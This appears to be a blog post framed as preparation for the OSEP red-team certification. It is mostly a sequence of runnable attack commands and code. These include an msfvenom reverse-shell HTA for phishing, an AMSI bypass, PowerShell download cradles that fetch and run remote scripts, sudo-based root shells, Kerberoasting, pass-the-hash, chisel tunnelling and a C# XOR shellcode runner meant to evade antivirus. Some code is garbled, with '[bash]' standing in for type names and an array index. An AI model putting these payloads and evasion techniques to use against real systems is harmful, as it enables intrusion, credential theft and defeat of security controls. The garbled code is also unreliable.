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Introduction:
The Offensive Security Experienced Penetration Tester (OSEP) certification focuses on advanced evasion, client-side attacks, and deep Active Directory compromise – moving beyond basic penetration testing into true red team operations. To succeed, candidates need hands-on practice in realistic, attack-driven environments like the CTF-based OSEP Practice Program recently announced by Ignite Technologies, which covers modules from initial access to custom malware development and defense evasion.
Learning Objectives:
- Master advanced client‑side attacks, initial access vectors, and security control bypass techniques used in modern red team engagements.
- Execute full Active Directory enumeration, lateral movement, privilege escalation (Windows & Linux), and post‑exploitation persistence.
- Develop custom tools, bypass EDR/AV, and tunnel traffic through restricted networks to simulate real‑world adversary behavior.
You Should Know:
1. Advanced Information Gathering & Initial Access
Start by simulating an external attacker’s reconnaissance. Use OSINT and network scanning to identify potential entry points, then move to client‑side exploitation (e.g., malicious Office macros, phishing attachments).
Step‑by‑step guide – Linux reconnaissance:
Subdomain enumeration amass enum -d target.com -o subdomains.txt Port scanning with masscan (fast) and nmap (detailed) sudo masscan -p1-65535 --rate=1000 --wait=0 -oG masscan.out 192.168.1.0/24 nmap -sC -sV -p- -oA full_scan <target_ip> Gather SMB information enum4linux -a <target_ip>
For client‑side attacks on Windows, generate a malicious HTA using msfvenom:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<your_ip> LPORT=443 -f hta-psh -o evil.hta
Deliver via phishing email or social engineering. When the target runs it, you gain a reverse shell.
2. Bypassing Security Controls (AV/EDR)
Modern defenses detect known payloads. You must obfuscate, encrypt, or use living‑off‑the‑land binaries (LOLBins) to bypass them.
Step‑by‑step – AMSI bypass on Windows (PowerShell):
One-liner AMSI bypass using patching
[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Or using a base64-encoded, obfuscated payload
$script = "IEX(New-Object Net.WebClient).DownloadString('http://<your_ip>/invoke.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
$encoded = [bash]::ToBase64String($bytes)
powershell -EncodedCommand $encoded
On Linux, bypass AppArmor/SELinux using `unshare` or custom loaders. Example: compile a simple reverse shell with static linking and strip symbols:
gcc -static -o revshell revshell.c -Wl,--strip-all
3. Linux Privilege Escalation
After gaining low‑privilege access, enumerate for misconfigurations.
Step‑by‑step – common Linux privesc commands:
Check sudo rights sudo -l Find SUID binaries find / -perm -4000 -type f 2>/dev/null Look for writable cron scripts cat /etc/crontab ls -la /etc/cron.d/ Kernel exploit (last resort) uname -a searchsploit linux kernel <version>
Example: abuse `sudo` with `find` to escalate:
sudo find /home -exec /bin/sh \;
If `sudo` allows awk, perl, or python, use those for a root shell.
4. Windows Privilege Escalation
Windows misconfigurations like unquoted service paths, weak permissions, or token impersonation are prime targets.
Step‑by‑step – using `winPEAS` and `PrintSpoofer`:
Download and run winPEAS from memory
IEX(New-Object Net.WebClient).DownloadString('http://<your_ip>/winPEAS.ps1'); winPEAS
Check SeImpersonatePrivilege
whoami /priv
If present, use PrintSpoofer64.exe:
.\PrintSpoofer64.exe -i -c cmd
For older systems, exploit JuicyPotato. For unquoted service paths:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\" sc qc <vulnerable_service> Create malicious binary in the writable path
5. Active Directory Enumeration & Attacks
AD is the heart of enterprise networks. Enumerate users, groups, ACLs, and trust relationships using PowerView or SharpHound.
Step‑by‑step – BloodHound collection and Kerberoasting:
On Windows (from a domain-joined host) . .\SharpHound.ps1 Invoke-BloodHound -CollectionMethod All -Domain target.local Export all servicePrincipalNames (Kerberoastable accounts) setspn -T target.local -Q / | findstr "CN=" > spns.txt Request TGS and crack with hashcat powershell Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sql.target.local" Extract hash via mimikatz or Rubeus .\Rubeus.exe kerberoast /outfile:hashes.txt hashcat -m 13100 hashes.txt rockyou.txt
For Linux from a compromised machine, use `impacket`:
GetUserSPNs.py target.local/username:password -dc-ip <dc_ip> -request
6. Lateral Movement & Pivoting
Move from one compromised host to another using pass‑the‑hash, WinRM, PsExec, or scheduled tasks.
Step‑by‑step – pass‑the‑hash with `crackmapexec` and tunnel via chisel:
From Linux attack box crackmapexec smb 192.168.1.10 -u Administrator -H <NTLM_hash> -x "whoami" For pivoting, upload chisel to the first compromised host On attacker: ./chisel server -p 8000 --reverse On compromised host: ./chisel client <attacker_ip>:8000 R:socks Then use proxychains with nmap through the SOCKS tunnel proxychains nmap -sT -Pn 192.168.2.0/24
On Windows, use `PsExec` or `sc` to create remote service:
.\PsExec.exe \target -u DOMAIN\user -p password -s cmd Or using WMI wmic /node:"target" /user:"admin" /password:"pass" process call create "cmd /c calc.exe"
- Defense Evasion & Custom Malware / Tool Development
To evade detection, you need custom loaders and in‑memory execution. Develop a simple C shellcode launcher.
Step‑by‑step – compile a basic XOR‑encoded payload runner:
using System;
using System.Runtime.InteropServices;
public class Program {
[DllImport("kernel32")]
static extern IntPtr VirtualAlloc(IntPtr addr, uint size, uint allocType, uint protect);
[DllImport("kernel32")]
static extern IntPtr CreateThread(IntPtr attrs, uint stack, IntPtr start, IntPtr param, uint create, IntPtr threadId);
static void Main() {
byte[] buf = new byte[] { 0xfc,0x48,0x83,0xe4,... }; // msfvenom payload
// XOR decode (simple)
for(int i=0;i<buf.Length;i++) buf[bash] ^= 0xAA;
IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)buf.Length, 0x3000, 0x40);
Marshal.Copy(buf, 0, mem, buf.Length);
CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, IntPtr.Zero);
Console.ReadLine();
}
}
Compile with csc.exe /unsafe runner.cs. Use obfuscators like ConfuserEx to bypass AV signatures.
What Undercode Say:
– Key Takeaway 1: OSEP success demands consistent, hands‑on practice in CTF‑style labs that mimic real red team scenarios – not just theory. The Ignite Technologies program directly addresses this by covering evasion, tunneling, and custom exploit development.
– Key Takeaway 2: Modern defense evasion requires blending multiple techniques: bypassing AMSI, abusing trusted processes, and writing simple custom loaders. Off‑the‑shelf tools like Cobalt Strike are easily detected; understanding how to modify or replace them is critical.
Prediction:
As organizations adopt stronger EDR and Zero Trust models, the demand for OSEP‑level red teamers will skyrocket. Expect certification holders to command premium salaries, and training providers will shift entirely to cloud‑based, persistent lab environments with live blue team responses. The line between penetration testing and advanced persistent threat simulation will blur, making OSEP a de facto standard for mid‑senior offensive roles by 2027.
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